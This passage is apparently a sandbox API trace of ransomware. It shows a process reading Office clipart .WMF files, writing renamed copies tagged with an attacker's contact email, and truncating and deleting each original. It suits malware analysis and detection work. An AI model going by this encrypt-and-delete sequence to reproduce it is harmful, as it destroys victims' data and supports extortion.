[0303.133] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0303.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.133] lstrlenW (lpString=".doc") returned 4 [0303.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.133] lstrlenW (lpString=".docx") returned 5 [0303.133] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.133] lstrlenW (lpString=".pdf") returned 4 [0303.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.133] lstrlenW (lpString=".xls") returned 4 [0303.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.133] lstrlenW (lpString=".xlsx") returned 5 [0303.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.133] lstrlenW (lpString=".ppt") returned 4 [0303.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.133] lstrlenW (lpString=".zip") returned 4 [0303.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.134] lstrlenW (lpString=".rar") returned 4 [0303.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString=".bz2") returned 4 [0303.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString=".7z") returned 3 [0303.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.134] lstrlenW (lpString=".dbf") returned 4 [0303.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.134] lstrlenW (lpString=".1cd") returned 4 [0303.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.134] lstrlenW (lpString=".jpg") returned 4 [0303.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.134] lstrlenW (lpString=".doc") returned 4 [0303.134] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString=".docx") returned 5 [0303.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.134] lstrlenW (lpString=".pdf") returned 4 [0303.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.134] lstrlenW (lpString=".xls") returned 4 [0303.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.134] lstrlenW (lpString=".xlsx") returned 5 [0303.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.134] lstrlenW (lpString=".ppt") returned 4 [0303.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.135] lstrlenW (lpString=".zip") returned 4 [0303.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.135] lstrlenW (lpString=".rar") returned 4 [0303.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.135] lstrlenW (lpString=".bz2") returned 4 [0303.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.135] lstrlenW (lpString=".7z") returned 3 [0303.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.135] lstrlenW (lpString=".dbf") returned 4 [0303.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.135] lstrlenW (lpString=".1cd") returned 4 [0303.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.135] lstrlenW (lpString=".jpg") returned 4 [0303.135] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.135] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.135] lstrlenW (lpString="IN00177_.WMF") returned 12 [0303.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.136] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1074) returned 1 [0303.136] CloseHandle (hObject=0x10b8) returned 1 [0303.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0303.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.137] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.137] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.137] GetLastError () returned 0x0 [0303.137] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x432, lpOverlapped=0x0) returned 1 [0303.529] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x440, lpOverlapped=0x0) returned 1 [0303.530] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.530] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.530] SetEndOfFile (hFile=0x10c8) returned 1 [0303.530] CloseHandle (hObject=0x10c8) returned 1 [0303.530] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.530] SetEndOfFile (hFile=0x10b8) returned 1 [0303.531] CloseHandle (hObject=0x10b8) returned 1 [0303.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0303.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.532] lstrlenW (lpString=".doc") returned 4 [0303.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.532] lstrlenW (lpString=".docx") returned 5 [0303.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.532] lstrlenW (lpString=".pdf") returned 4 [0303.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.532] lstrlenW (lpString=".xls") returned 4 [0303.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.532] lstrlenW (lpString=".xlsx") returned 5 [0303.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.532] lstrlenW (lpString=".ppt") returned 4 [0303.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.532] lstrlenW (lpString=".zip") returned 4 [0303.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.532] lstrlenW (lpString=".rar") returned 4 [0303.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.532] lstrlenW (lpString=".bz2") returned 4 [0303.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.532] lstrlenW (lpString=".7z") returned 3 [0303.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString=".dbf") returned 4 [0303.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString=".1cd") returned 4 [0303.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString=".jpg") returned 4 [0303.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString=".doc") returned 4 [0303.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString=".docx") returned 5 [0303.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.533] lstrlenW (lpString=".pdf") returned 4 [0303.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString=".xls") returned 4 [0303.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.533] lstrlenW (lpString=".xlsx") returned 5 [0303.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.533] lstrlenW (lpString=".ppt") returned 4 [0303.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.533] lstrlenW (lpString=".zip") returned 4 [0303.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.534] lstrlenW (lpString=".rar") returned 4 [0303.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString=".bz2") returned 4 [0303.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString=".7z") returned 3 [0303.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.534] lstrlenW (lpString=".dbf") returned 4 [0303.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.534] lstrlenW (lpString=".1cd") returned 4 [0303.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0303.534] lstrlenW (lpString=".jpg") returned 4 [0303.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.534] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.534] lstrlenW (lpString="IN00557_.WMF") returned 12 [0303.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.535] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=9172) returned 1 [0303.535] CloseHandle (hObject=0x10b8) returned 1 [0303.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0303.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.535] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.535] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.536] GetLastError () returned 0x0 [0303.536] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x23d4, lpOverlapped=0x0) returned 1 [0303.682] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x23e0, lpOverlapped=0x0) returned 1 [0303.683] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.683] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.683] SetEndOfFile (hFile=0x10c8) returned 1 [0303.683] CloseHandle (hObject=0x10c8) returned 1 [0303.683] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.683] SetEndOfFile (hFile=0x10b8) returned 1 [0303.684] CloseHandle (hObject=0x10b8) returned 1 [0303.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0303.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.685] lstrlenW (lpString=".doc") returned 4 [0303.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.685] lstrlenW (lpString=".docx") returned 5 [0303.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.685] lstrlenW (lpString=".pdf") returned 4 [0303.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.685] lstrlenW (lpString=".xls") returned 4 [0303.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.686] lstrlenW (lpString=".xlsx") returned 5 [0303.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.686] lstrlenW (lpString=".ppt") returned 4 [0303.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString=".zip") returned 4 [0303.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.686] lstrlenW (lpString=".rar") returned 4 [0303.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString=".bz2") returned 4 [0303.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString=".7z") returned 3 [0303.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString=".dbf") returned 4 [0303.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString=".1cd") returned 4 [0303.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString=".jpg") returned 4 [0303.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.686] lstrlenW (lpString=".doc") returned 4 [0303.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.687] lstrlenW (lpString=".docx") returned 5 [0303.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.687] lstrlenW (lpString=".pdf") returned 4 [0303.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.687] lstrlenW (lpString=".xls") returned 4 [0303.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.687] lstrlenW (lpString=".xlsx") returned 5 [0303.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.687] lstrlenW (lpString=".ppt") returned 4 [0303.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.687] lstrlenW (lpString=".zip") returned 4 [0303.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.687] lstrlenW (lpString=".rar") returned 4 [0303.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.687] lstrlenW (lpString=".bz2") returned 4 [0303.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.688] lstrlenW (lpString=".7z") returned 3 [0303.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.688] lstrlenW (lpString=".dbf") returned 4 [0303.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.688] lstrlenW (lpString=".1cd") returned 4 [0303.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0303.688] lstrlenW (lpString=".jpg") returned 4 [0303.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.688] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0303.688] lstrlenW (lpString="IN00956_.WMF") returned 12 [0303.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.689] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1256) returned 1 [0303.689] CloseHandle (hObject=0x10b8) returned 1 [0303.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0303.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0303.689] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.689] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0303.690] GetLastError () returned 0x0 [0303.690] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x4e8, lpOverlapped=0x0) returned 1 [0303.868] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4f0, lpOverlapped=0x0) returned 1 [0303.868] ReadFile (in: hFile=0x10b8, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.869] WriteFile (in: hFile=0x10c8, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.869] SetEndOfFile (hFile=0x10c8) returned 1 [0303.869] CloseHandle (hObject=0x10c8) returned 1 [0303.869] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.869] SetEndOfFile (hFile=0x10b8) returned 1 [0303.870] CloseHandle (hObject=0x10b8) returned 1 [0303.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0303.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft 